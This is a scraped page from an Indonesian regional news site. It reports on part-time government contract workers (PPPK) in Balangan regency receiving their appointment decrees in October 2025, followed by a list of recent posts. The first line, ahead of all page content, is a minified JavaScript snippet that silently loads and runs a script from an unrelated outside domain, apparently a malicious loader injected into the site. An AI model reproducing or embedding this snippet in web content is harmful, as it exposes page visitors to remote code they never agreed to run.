(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Balangan

PPPK Paruh Waktu Pemkab Balangan Terima SK


KANALKALIMANTAN.COM, PARINGIN – Penyerahan Surat Keputusan (SK) Pegawai Pemerintah dengan Perjanjian Kerja (PPPK) Paruh Waktu Formasi 2024 diharapkan menjadi langkah awal dalam memperlancar berbagai sektor pemerintahan di Kabupaten Balangan.

Hal tersebut disampaikan Bupati Balangan, Abdul Hadi, saat menyerahkan secara simbolis SK pengangkatan kepada lebih dari 3.000 PPPK Paruh Waktu di halaman Kantor Bupati Balangan, Jumat (31/10/2025).

“Bagi para PPPK Paruh Waktu yang menerima SK hari ini, ini merupakan langkah awal penting menuju kesempatan menjadi PPPK penuh waktu di masa depan, tentunya dengan kinerja yang memenuhi standar dan kualifikasi yang telah ditetapkan,” ujar Abdul Hadi.

Baca juga: Penanganan Rusak di Jalan Trikora Dibikin Drainase Crossing

Sementara itu, Kepala Badan Kepegawaian dan Pengembangan Sumber Daya Manusia (BKPSDM) Kabupaten Balangan, Sufriannor, menyampaikan bahwa para PPPK Paruh Waktu diharapkan dapat meningkatkan kinerja dan disiplin sebagai bagian dari proses evaluasi ke depan.

“Sesuai arahan Bupati, tenaga PPPK Paruh Waktu yang sudah menerima SK diharapkan meningkatkan kinerja dan disiplin. Hal ini akan menjadi bahan evaluasi bagi masing-masing pimpinan apakah yang bersangkutan dapat diperpanjang. Dengan dukungan seluruh PPPK yang menerima SK hari ini, pelayanan publik di Balangan diharapkan semakin meningkat,” jelasnya.

Salah satu penerima SK, Hamruddin, yang telah mengabdi sebagai tenaga non-ASN selama 20 tahun, mengaku bersyukur atas kesempatan yang diberikan pemerintah daerah.

Baca juga: Pertamax Kosong di SPBU-SPBU, DPRD Kalsel Baru Jadwalkan Cek Depo Pertamina

“Setelah melalui berbagai proses, termasuk seleksi CPNS dan PPPK, akhirnya kami merasakan hasil perjuangan ini. Sebagai PPPK Paruh Waktu, kami diwajibkan membuat Sasaran Kinerja Pegawai (SKP) sebagai dasar penilaian menuju PPPK penuh waktu, jadi kami harus bekerja dengan semangat,” harapnya. (Kanalkalimantan.com/mcbalangan)

Reporter: mcbalangan
Editor: kk


Risa

Recent Posts

Pemkab Banjar Layani Keperluan Konsumsi Ribuan Warga Terdampak Banjir Lewat Dapur Umum

KANALKALIMANTAN.COM, MARTAPURA - Selain menyerahkan langsung bantuan keperluan masyarakat terdampak banjir Pemerintah Kabupaten Banjar juga… Read More

55 menit ago

Daftar UMP dan UMK Kalimantan Selatan 2026, Cukupkah untuk Biaya Hidup Layak?

Upah Minimum Provinsi (UMP) dan Upah Minimum Kabupaten/Kota (UMK) Kalimantan Selatan 2026 akhirnya secara resmi… Read More

13 jam ago

Rumah Penuh Air, Pak RT Mengungsi ke Rumah Tetangga

KANALKALIMANTAN.COM, MARTAPURA – Banjir yang melanda Desa Gudang Hirang, Kecamatan Sungaitabuk, Kabupaten Banjar menggenangi sejumlah… Read More

14 jam ago

Lonovila Menoreh Surga Tersembunyi di Perbukitan Menoreh

KANALKALIMANTAN.COM, YOGYAKARTA - Ada tempat yang tidak perlu banyak kata untuk membuat orang betah. Begitu… Read More

14 jam ago

Banjir di Komplek Antasari Perdana II Sungaitabuk, Akses Motor Lumpuh Total

KANALKALIMANTAN.COM, MARTAPURA – Banjir setinggi lutut orang dewasa menggenangi seluruh jalan di Komplek Antasari Perdana… Read More

14 jam ago

Sah! UMP Kalimantan Barat Naik 6,12% Masih Jadi UMP Terendah di Kalimantan?

Besaran Upah Minimum Provinsi (UMP) 2026 di seluruh Indonesia telah diumumkan sejak akhir 2025 lalu… Read More

15 jam ago

This website uses cookies.